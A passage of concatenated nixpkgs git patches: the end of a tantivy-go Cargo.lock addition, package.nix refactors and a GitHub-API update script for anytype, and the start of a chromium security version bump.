-+[[package]]
-+name = "thiserror"
-+version = "2.0.12"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "567b8a2dae586314f7be2a752ec7474332959c6460e02bde30d702a66d488708"
-+dependencies = [
-+ "thiserror-impl",
-+]
-+
-+[[package]]
-+name = "thiserror-impl"
-+version = "2.0.12"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7f7cf42b4507d8ea322120659672cf1b9dbb93f8f2d4ecfd6e51350ff5b17a1d"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "time"
-+version = "0.3.41"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8a7619e19bc266e0f9c5e6686659d394bc57973859340060a69221e57dbc0c40"
-+dependencies = [
-+ "deranged",
-+ "itoa",
-+ "num-conv",
-+ "powerfmt",
-+ "serde",
-+ "time-core",
-+ "time-macros",
-+]
-+
-+[[package]]
-+name = "time-core"
-+version = "0.1.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c9e9a38711f559d9e3ce1cdb06dd7c5b8ea546bc90052da6d06bb76da74bb07c"
-+
-+[[package]]
-+name = "time-macros"
-+version = "0.2.22"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3526739392ec93fd8b359c8e98514cb3e8e021beb4e5f597b00a0221f8ed8a49"
-+dependencies = [
-+ "num-conv",
-+ "time-core",
-+]
-+
-+[[package]]
-+name = "toml"
-+version = "0.8.23"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "dc1beb996b9d83529a9e75c17a1686767d148d70663143c7854d8b4a09ced362"
-+dependencies = [
-+ "serde",
-+ "serde_spanned",
-+ "toml_datetime",
-+ "toml_edit",
-+]
-+
-+[[package]]
-+name = "toml_datetime"
-+version = "0.6.11"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "22cddaf88f4fbc13c51aebbf5f8eceb5c7c5a9da2ac40a13519eb5b0a0e8f11c"
-+dependencies = [
-+ "serde",
-+]
-+
-+[[package]]
-+name = "toml_edit"
-+version = "0.22.27"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "41fe8c660ae4257887cf66394862d21dbca4a6ddd26f04a3560410406a2f819a"
-+dependencies = [
-+ "indexmap",
-+ "serde",
-+ "serde_spanned",
-+ "toml_datetime",
-+ "toml_write",
-+ "winnow",
-+]
-+
-+[[package]]
-+name = "toml_write"
-+version = "0.1.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5d99f8c9a7727884afe522e9bd5edbfc91a3312b36a77b5fb8926e4c31a41801"
-+
-+[[package]]
-+name = "unicode-ident"
-+version = "1.0.18"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5a5f39404a5da50712a4c1eecf25e90dd62b613502b7e925fd4e4d19b5c96512"
-+
-+[[package]]
-+name = "unicode-segmentation"
-+version = "1.12.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f6ccf251212114b54433ec949fd6a7841275f9ada20dddd2f29e9ceea4501493"
-+
-+[[package]]
-+name = "utf8-ranges"
-+version = "1.0.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7fcfc827f90e53a02eaef5e535ee14266c1d569214c6aa70133a624d8a3164ba"
-+
-+[[package]]
-+name = "utf8parse"
-+version = "0.2.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821"
-+
-+[[package]]
-+name = "uuid"
-+version = "1.17.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "3cf4199d1e5d15ddd86a694e4d0dffa9c323ce759fea589f00fef9d81cc1931d"
-+dependencies = [
-+ "getrandom 0.3.3",
-+ "js-sys",
-+ "serde",
-+ "wasm-bindgen",
-+]
-+
-+[[package]]
-+name = "version_check"
-+version = "0.9.5"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
-+
-+[[package]]
-+name = "wasi"
-+version = "0.11.1+wasi-snapshot-preview1"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
-+
-+[[package]]
-+name = "wasi"
-+version = "0.14.2+wasi-0.2.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9683f9a5a998d873c0d21fcbe3c083009670149a8fab228644b8bd36b2c48cb3"
-+dependencies = [
-+ "wit-bindgen-rt",
-+]
-+
-+[[package]]
-+name = "wasm-bindgen"
-+version = "0.2.100"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1edc8929d7499fc4e8f0be2262a241556cfc54a0bea223790e71446f2aab1ef5"
-+dependencies = [
-+ "cfg-if",
-+ "once_cell",
-+ "rustversion",
-+ "wasm-bindgen-macro",
-+]
-+
-+[[package]]
-+name = "wasm-bindgen-backend"
-+version = "0.2.100"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2f0a0651a5c2bc21487bde11ee802ccaf4c51935d0d3d42a6101f98161700bc6"
-+dependencies = [
-+ "bumpalo",
-+ "log",
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+ "wasm-bindgen-shared",
-+]
-+
-+[[package]]
-+name = "wasm-bindgen-macro"
-+version = "0.2.100"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "7fe63fc6d09ed3792bd0897b314f53de8e16568c2b3f7982f468c0bf9bd0b407"
-+dependencies = [
-+ "quote",
-+ "wasm-bindgen-macro-support",
-+]
-+
-+[[package]]
-+name = "wasm-bindgen-macro-support"
-+version = "0.2.100"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8ae87ea40c9f689fc23f209965b6fb8a99ad69aeeb0231408be24920604395de"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+ "wasm-bindgen-backend",
-+ "wasm-bindgen-shared",
-+]
-+
-+[[package]]
-+name = "wasm-bindgen-shared"
-+version = "0.2.100"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1a05d73b933a847d6cccdda8f838a22ff101ad9bf93e33684f39c1f5f0eece3d"
-+dependencies = [
-+ "unicode-ident",
-+]
-+
-+[[package]]
-+name = "winapi"
-+version = "0.3.9"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
-+dependencies = [
-+ "winapi-i686-pc-windows-gnu",
-+ "winapi-x86_64-pc-windows-gnu",
-+]
-+
-+[[package]]
-+name = "winapi-i686-pc-windows-gnu"
-+version = "0.4.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
-+
-+[[package]]
-+name = "winapi-x86_64-pc-windows-gnu"
-+version = "0.4.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
-+
-+[[package]]
-+name = "windows-link"
-+version = "0.1.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a"
-+
-+[[package]]
-+name = "windows-sys"
-+version = "0.52.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
-+dependencies = [
-+ "windows-targets 0.52.6",
-+]
-+
-+[[package]]
-+name = "windows-sys"
-+version = "0.59.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
-+dependencies = [
-+ "windows-targets 0.52.6",
-+]
-+
-+[[package]]
-+name = "windows-sys"
-+version = "0.60.2"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb"
-+dependencies = [
-+ "windows-targets 0.53.3",
-+]
-+
-+[[package]]
-+name = "windows-targets"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
-+dependencies = [
-+ "windows_aarch64_gnullvm 0.52.6",
-+ "windows_aarch64_msvc 0.52.6",
-+ "windows_i686_gnu 0.52.6",
-+ "windows_i686_gnullvm 0.52.6",
-+ "windows_i686_msvc 0.52.6",
-+ "windows_x86_64_gnu 0.52.6",
-+ "windows_x86_64_gnullvm 0.52.6",
-+ "windows_x86_64_msvc 0.52.6",
-+]
-+
-+[[package]]
-+name = "windows-targets"
-+version = "0.53.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91"
-+dependencies = [
-+ "windows-link",
-+ "windows_aarch64_gnullvm 0.53.0",
-+ "windows_aarch64_msvc 0.53.0",
-+ "windows_i686_gnu 0.53.0",
-+ "windows_i686_gnullvm 0.53.0",
-+ "windows_i686_msvc 0.53.0",
-+ "windows_x86_64_gnu 0.53.0",
-+ "windows_x86_64_gnullvm 0.53.0",
-+ "windows_x86_64_msvc 0.53.0",
-+]
-+
-+[[package]]
-+name = "windows_aarch64_gnullvm"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
-+
-+[[package]]
-+name = "windows_aarch64_gnullvm"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764"
-+
-+[[package]]
-+name = "windows_aarch64_msvc"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
-+
-+[[package]]
-+name = "windows_aarch64_msvc"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c"
-+
-+[[package]]
-+name = "windows_i686_gnu"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
-+
-+[[package]]
-+name = "windows_i686_gnu"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3"
-+
-+[[package]]
-+name = "windows_i686_gnullvm"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
-+
-+[[package]]
-+name = "windows_i686_gnullvm"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11"
-+
-+[[package]]
-+name = "windows_i686_msvc"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
-+
-+[[package]]
-+name = "windows_i686_msvc"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d"
-+
-+[[package]]
-+name = "windows_x86_64_gnu"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
-+
-+[[package]]
-+name = "windows_x86_64_gnu"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba"
-+
-+[[package]]
-+name = "windows_x86_64_gnullvm"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
-+
-+[[package]]
-+name = "windows_x86_64_gnullvm"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57"
-+
-+[[package]]
-+name = "windows_x86_64_msvc"
-+version = "0.52.6"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
-+
-+[[package]]
-+name = "windows_x86_64_msvc"
-+version = "0.53.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486"
-+
-+[[package]]
-+name = "winnow"
-+version = "0.7.12"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "f3edebf492c8125044983378ecb5766203ad3b4c2f7a922bd7dd207f6d443e95"
-+dependencies = [
-+ "memchr",
-+]
-+
-+[[package]]
-+name = "wit-bindgen-rt"
-+version = "0.39.0"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "6f42320e61fe2cfd34354ecb597f86f413484a798ba44a8ca1165c58d42da6c1"
-+dependencies = [
-+ "bitflags",
-+]
-+
-+[[package]]
-+name = "zerocopy"
-+version = "0.8.26"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "1039dd0d3c310cf05de012d8a39ff557cb0d23087fd44cad61df08fc31907a2f"
-+dependencies = [
-+ "zerocopy-derive",
-+]
-+
-+[[package]]
-+name = "zerocopy-derive"
-+version = "0.8.26"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "9ecf5b4cc5364572d7f4c329661bcc82724222973f2cab6f050a4e5c22f75181"
-+dependencies = [
-+ "proc-macro2",
-+ "quote",
-+ "syn 2.0.104",
-+]
-+
-+[[package]]
-+name = "zstd"
-+version = "0.13.3"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "e91ee311a569c327171651566e07972200e76fcfe2242a4fa446149a3881c08a"
-+dependencies = [
-+ "zstd-safe",
-+]
-+
-+[[package]]
-+name = "zstd-safe"
-+version = "7.2.4"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "8f49c4d5f0abb602a93fb8736af2a4f4dd9512e36f7f570d66e65ff867ed3b9d"
-+dependencies = [
-+ "zstd-sys",
-+]
-+
-+[[package]]
-+name = "zstd-sys"
-+version = "2.0.15+zstd.1.5.7"
-+source = "registry+https://github.com/rust-lang/crates.io-index"
-+checksum = "eb81183ddd97d0c74cedf1d50d85c8d08c1b8b68ee863bdee9e706eedba1a237"
-+dependencies = [
-+ "cc",
-+ "pkg-config",
-+]
diff --git a/pkgs/by-name/ta/tantivy-go/package.nix b/pkgs/by-name/ta/tantivy-go/package.nix
index f9c85be817f5..5c93fc203c85 100644
--- a/pkgs/by-name/ta/tantivy-go/package.nix
+++ b/pkgs/by-name/ta/tantivy-go/package.nix
@@ -15,14 +15,21 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-ksHw+62JwQrzxLuXwYfTLOkC22Miz1Rpl5XX8+vPBcM=";
   };
 
-  cargoHash = "sha256-GKbQFWXKEgYmoTyFCQ/SAgFB7UJpYN2SWwZEiUxd260=";
+  sourceRoot = "${finalAttrs.src.name}/rust";
 
-  cargoPatches = [
-    ./add-Cargo.lock.patch
-  ];
+  cargoLock = {
+    lockFile = ./Cargo.lock;
+    outputHashes = {
+      "rust-stemmers-1.2.0" = "sha256-GJYFQf025U42rJEoI9eIi3xDdK6enptAr3jphuKJdiw=";
+      "tantivy-0.23.0" = "sha256-e2ffM2gRC5eww3xv9izLqukGUgduCt2u7jsqTDX5l8k=";
+      "tantivy-jieba-0.11.0" = "sha256-BDz6+EVksgLkOj/8XXxPMVshI0X1+oLt6alDLMpnLZc=";
+    };
+  };
 
-  cargoRoot = "rust";
-  buildAndTestSubdir = finalAttrs.cargoRoot;
+  postPatch = ''
+    ln -s ${./Cargo.lock} Cargo.lock
+    chmod +w ../bindings.h
+  '';
 
   meta = {
     description = "Tantivy go bindings";

From 19115f94123d83eb323b806e2c85f0978e995b1b Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 21:37:18 -0400
Subject: [PATCH 4424/4511] anytype-heart: add kira-bruneau as maintainer

(cherry picked from commit 70200cfca0db0655e6a2577848324e6d58aff9fa)
---
 pkgs/by-name/an/anytype-heart/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/an/anytype-heart/package.nix b/pkgs/by-name/an/anytype-heart/package.nix
index 0c04e43d1f03..9ca1ce86cdaa 100644
--- a/pkgs/by-name/an/anytype-heart/package.nix
+++ b/pkgs/by-name/an/anytype-heart/package.nix
@@ -87,6 +87,7 @@ buildGoModule {
     maintainers = with lib.maintainers; [
       autrimpo
       adda
+      kira-bruneau
     ];
     platforms = [
       "x86_64-linux"

From c28740700ac080004998259cc12e7c81f0fec7f1 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 21:35:08 -0400
Subject: [PATCH 4425/4511] anytype-heart: use finalAttrs

(cherry picked from commit 8417b77afa4f73b5a2e00ac1ae2684485fa5fdcf)
---
 pkgs/by-name/an/anytype-heart/package.nix | 29 +++++++++++------------
 1 file changed, 14 insertions(+), 15 deletions(-)

diff --git a/pkgs/by-name/an/anytype-heart/package.nix b/pkgs/by-name/an/anytype-heart/package.nix
index 9ca1ce86cdaa..9f649b762ede 100644
--- a/pkgs/by-name/an/anytype-heart/package.nix
+++ b/pkgs/by-name/an/anytype-heart/package.nix
@@ -10,17 +10,6 @@
 }:
 
 let
-  pname = "anytype-heart";
-  # Use only versions specified in anytype-ts middleware.version file:
-  #  https://github.com/anyproto/anytype-ts/blob/v<anytype-ts-version>/middleware.version
-  version = "0.43.0-rc02";
-  src = fetchFromGitHub {
-    owner = "anyproto";
-    repo = "anytype-heart";
-    tag = "v${version}";
-    hash = "sha256-hqDwzW1Tl44ipL1EAwlXUoKaQ0Wvfa2rtZMQy4pgQ8k=";
-  };
-
   arch =
     {
       # https://github.com/anyproto/anytype-heart/blob/f33a6b09e9e4e597f8ddf845fc4d6fe2ef335622/pkg/lib/localstore/ftsearch/ftsearchtantivy.go#L3
@@ -31,10 +20,20 @@ let
     }
     .${stdenv.hostPlatform.system}
       or (throw "anytype-heart not supported on ${stdenv.hostPlatform.system}");
-
 in
-buildGoModule {
-  inherit pname version src;
+buildGoModule (finalAttrs: {
+  pname = "anytype-heart";
+
+  # Use only versions specified in anytype-ts middleware.version file:
+  #  https://github.com/anyproto/anytype-ts/blob/v<anytype-ts-version>/middleware.version
+  version = "0.43.0-rc02";
+
+  src = fetchFromGitHub {
+    owner = "anyproto";
+    repo = "anytype-heart";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-hqDwzW1Tl44ipL1EAwlXUoKaQ0Wvfa2rtZMQy4pgQ8k=";
+  };
 
   vendorHash = "sha256-Rs+CusvMksyXUplGk09J4CiFgl/D4KtsI9C15dSCjOI=";
 
@@ -96,4 +95,4 @@ buildGoModule {
       "aarch64-darwin"
     ];
   };
-}
+})

From 6457a776235ad031c3ff300b98227931d3668b8c Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 22:01:47 -0400
Subject: [PATCH 4426/4511] anytype-heart: add changelog

(cherry picked from commit 86a746b9c6c98c6f63c5cb6d6045b020706778b6)
---
 pkgs/by-name/an/anytype-heart/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/an/anytype-heart/package.nix b/pkgs/by-name/an/anytype-heart/package.nix
index 9f649b762ede..1924fd37f68e 100644
--- a/pkgs/by-name/an/anytype-heart/package.nix
+++ b/pkgs/by-name/an/anytype-heart/package.nix
@@ -82,6 +82,7 @@ buildGoModule (finalAttrs: {
   meta = {
     description = "Shared library for Anytype clients";
     homepage = "https://anytype.io/";
+    changelog = "https://github.com/anyproto/anytype-heart/releases/tag/${finalAttrs.src.tag}";
     license = lib.licenses.unfreeRedistributable;
     maintainers = with lib.maintainers; [
       autrimpo

From bc25cc26d4c06ae65e17d83e2636cf8f936c9d92 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 20:52:20 -0400
Subject: [PATCH 4427/4511] anytype: add kira-bruneau as maintainer

(cherry picked from commit 1d858859e99415680db371c2e074f5eadb81bc04)
---
 pkgs/by-name/an/anytype/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/an/anytype/package.nix b/pkgs/by-name/an/anytype/package.nix
index 7f82c9f1295c..27c852a664cf 100644
--- a/pkgs/by-name/an/anytype/package.nix
+++ b/pkgs/by-name/an/anytype/package.nix
@@ -127,6 +127,7 @@ buildNpmPackage {
       running-grass
       autrimpo
       adda
+      kira-bruneau
     ];
     platforms = [
       "x86_64-linux"

From e45cedbedceace0d8585250aabd6a24cdfda5f81 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 21:40:24 -0400
Subject: [PATCH 4428/4511] anytype: use finalAttrs

(cherry picked from commit 8ed9fdf9ef6397e1714798df24b9fcd84993747c)
---
 pkgs/by-name/an/anytype/package.nix | 16 ++++++----------
 1 file changed, 6 insertions(+), 10 deletions(-)

diff --git a/pkgs/by-name/an/anytype/package.nix b/pkgs/by-name/an/anytype/package.nix
index 27c852a664cf..8572e1635da5 100644
--- a/pkgs/by-name/an/anytype/package.nix
+++ b/pkgs/by-name/an/anytype/package.nix
@@ -12,17 +12,16 @@
   commandLineArgs ? "",
 }:
 
-let
+buildNpmPackage (finalAttrs: {
   pname = "anytype";
   version = "0.49.2";
 
   src = fetchFromGitHub {
     owner = "anyproto";
     repo = "anytype-ts";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-8+x2FmyR5x9Zrm3t71RSyxAKcJCvnR98+fqHXjBE7aU=";
   };
-  description = "P2P note-taking tool";
 
   locales = fetchFromGitHub {
     owner = "anyproto";
@@ -30,9 +29,6 @@ let
     rev = "873b42df7320ebbbc80d7e2477914dac70363ef7";
     hash = "sha256-Mr0KfXn9NO86QqgBhVjSs2przN/GtjuhJHJ9djo8Feg=";
   };
-in
-buildNpmPackage {
-  inherit pname version src;
 
   npmDepsHash = "sha256-fuNTSZl+4DG/YL34f/+bYK26ruRFAc1hyHVAm256LiE=";
 
@@ -62,7 +58,7 @@ buildNpmPackage {
     cp -r ${anytype-heart}/lib dist/
     cp -r ${anytype-heart}/bin/anytypeHelper dist/
 
-    for lang in ${locales}/locales/*; do
+    for lang in ${finalAttrs.locales}/locales/*; do
       cp "$lang" "dist/lib/json/lang/$(basename $lang)"
     done
 
@@ -106,7 +102,7 @@ buildNpmPackage {
       exec = "anytype %U";
       icon = "anytype";
       desktopName = "Anytype";
-      comment = description;
+      comment = finalAttrs.meta.description;
       mimeTypes = [ "x-scheme-handler/anytype" ];
       categories = [
         "Utility"
@@ -119,7 +115,7 @@ buildNpmPackage {
   ];
 
   meta = {
-    inherit description;
+    description = "P2P note-taking tool";
     homepage = "https://anytype.io/";
     license = lib.licenses.unfreeRedistributable;
     mainProgram = "anytype";
@@ -137,4 +133,4 @@ buildNpmPackage {
     ];
     broken = stdenv.hostPlatform.isDarwin;
   };
-}
+})

From 8689f86b6cb93e4b115755cbd9f3c9c7c866a1d6 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 22:40:04 -0400
Subject: [PATCH 4429/4511] anytype: add changelog

(cherry picked from commit 8381f7014befa2aa3c5c3d3a58c92a39af21236a)
---
 pkgs/by-name/an/anytype/package.nix | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/pkgs/by-name/an/anytype/package.nix b/pkgs/by-name/an/anytype/package.nix
index 8572e1635da5..c86dd07a701e 100644
--- a/pkgs/by-name/an/anytype/package.nix
+++ b/pkgs/by-name/an/anytype/package.nix
@@ -117,6 +117,9 @@ buildNpmPackage (finalAttrs: {
   meta = {
     description = "P2P note-taking tool";
     homepage = "https://anytype.io/";
+    changelog = "https://community.anytype.io/t/anytype-desktop-${
+      builtins.replaceStrings [ "." ] [ "-" ] (lib.versions.majorMinor finalAttrs.version)
+    }-0-released";
     license = lib.licenses.unfreeRedistributable;
     mainProgram = "anytype";
     maintainers = with lib.maintainers; [

From 4eb5af0961b3c50d10249548dc9291f28ba7e606 Mon Sep 17 00:00:00 2001
From: Kira Bruneau <kira.bruneau@pm.me>
Date: Sun, 7 Sep 2025 21:00:06 -0400
Subject: [PATCH 4430/4511] anytype: add custom update script

(cherry picked from commit 1de0558391e42735bf83e0ddadcf031690432ebe)
---
 pkgs/by-name/an/anytype/package.nix |  2 +
 pkgs/by-name/an/anytype/update.sh   | 61 +++++++++++++++++++++++++++++
 2 files changed, 63 insertions(+)
 create mode 100755 pkgs/by-name/an/anytype/update.sh

diff --git a/pkgs/by-name/an/anytype/package.nix b/pkgs/by-name/an/anytype/package.nix
index c86dd07a701e..4dd4dabdd5a7 100644
--- a/pkgs/by-name/an/anytype/package.nix
+++ b/pkgs/by-name/an/anytype/package.nix
@@ -114,6 +114,8 @@ buildNpmPackage (finalAttrs: {
     })
   ];
 
+  passthru.updateScript = ./update.sh;
+
   meta = {
     description = "P2P note-taking tool";
     homepage = "https://anytype.io/";
diff --git a/pkgs/by-name/an/anytype/update.sh b/pkgs/by-name/an/anytype/update.sh
new file mode 100755
index 000000000000..de3617cb7223
--- /dev/null
+++ b/pkgs/by-name/an/anytype/update.sh
@@ -0,0 +1,61 @@
+#!/usr/bin/env nix-shell
+#!nix-shell -i bash -p common-updater-scripts coreutils curl jq nix-update
+
+set -euo pipefail
+
+anytype_version=null
+release_page=1
+
+# Anytype often has many pre-releases between releases, which can span multiple pages
+while [ "$anytype_version" = 'null' ]; do
+  readarray -t release < <(
+    curl "https://api.github.com/repos/anyproto/anytype-ts/releases?page=$release_page" \
+      ${GITHUB_TOKEN:+--user ":$GITHUB_TOKEN"} \
+      --silent \
+    | jq --raw-output '
+      map(select(
+        (.prerelease == false) and
+        (.tag_name | test("alpha|beta") | not)
+      )) | .[0] | .tag_name, .created_at
+    '
+  )
+  anytype_version=${release[0]//v}
+  anytype_release_date=${release[1]}
+  release_page=$((release_page+1))
+done
+
+if [ "$UPDATE_NIX_OLD_VERSION" = "$anytype_version" ]; then
+  echo "Already up to date!"
+  exit 0
+fi
+
+# https://github.com/anyproto/anytype-ts/blob/v0.49.2/electron/hook/locale.js
+locales_rev=$(
+  curl "https://api.github.com/repos/anyproto/l10n-anytype-ts/commits?until=$anytype_release_date&per_page=1" \
+    ${GITHUB_TOKEN:+--user ":$GITHUB_TOKEN"} \
+    --silent \
+  | jq --raw-output '.[0].sha'
+)
+
+# https://github.com/anyproto/anytype-ts/blob/v0.49.2/update.sh
+middleware_version=$(
+  curl "https://raw.githubusercontent.com/anyproto/anytype-ts/refs/tags/v$anytype_version/middleware.version" \
+    ${GITHUB_TOKEN:+--user ":$GITHUB_TOKEN"} \
+    --silent
+)
+
+# https://github.com/anyproto/anytype-heart/blob/v0.42.4/makefiles/vars.mk#L8
+tantivy_go_version=$(
+  curl "https://raw.githubusercontent.com/anyproto/anytype-heart/refs/tags/v$middleware_version/go.mod" \
+    ${GITHUB_TOKEN:+--user ":$GITHUB_TOKEN"} \
+    --silent \
+  | grep github.com/anyproto/tantivy-go \
+  | cut --delimiter=' ' --field=2
+)
+
+tantivy_go_version=${tantivy_go_version//v}
+
+nix-update tantivy-go --version "$tantivy_go_version" --generate-lockfile
+nix-update anytype-heart --version "$middleware_version"
+update-source-version anytype --ignore-same-version --source-key=locales --rev="$locales_rev"
+nix-update anytype --version "$anytype_version"

From 79121895fe7ffb3fa3fbedf7ef0311697a7b7ddb Mon Sep 17 00:00:00 2001
From: emilylange <git@emilylange.de>
Date: Wed, 10 Sep 2025 01:14:57 +0200
Subject: [PATCH 4431/4511] chromium,chromedriver: 140.0.7339.80 ->
 140.0.7339.127

https://chromereleases.googleblog.com/2025/09/stable-channel-update-for-desktop_9.html

This update includes 2 security fixes.

CVEs:
CVE-2025-10200 CVE-2025-10201

(cherry picked from commit 9e2fd2aff0211443666a136f1b187e6bb27ae65c)
---
 .../networking/browsers/chromium/info.json    | 24 +++++++++----------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/pkgs/applications/networking/browsers/chromium/info.json b/pkgs/applications/networking/browsers/chromium/info.json
index 1c1019da04cb..0f7385f6b061 100644
--- a/pkgs/applications/networking/browsers/chromium/info.json
+++ b/pkgs/applications/networking/browsers/chromium/info.json
@@ -1,10 +1,10 @@
 {
   "chromium": {
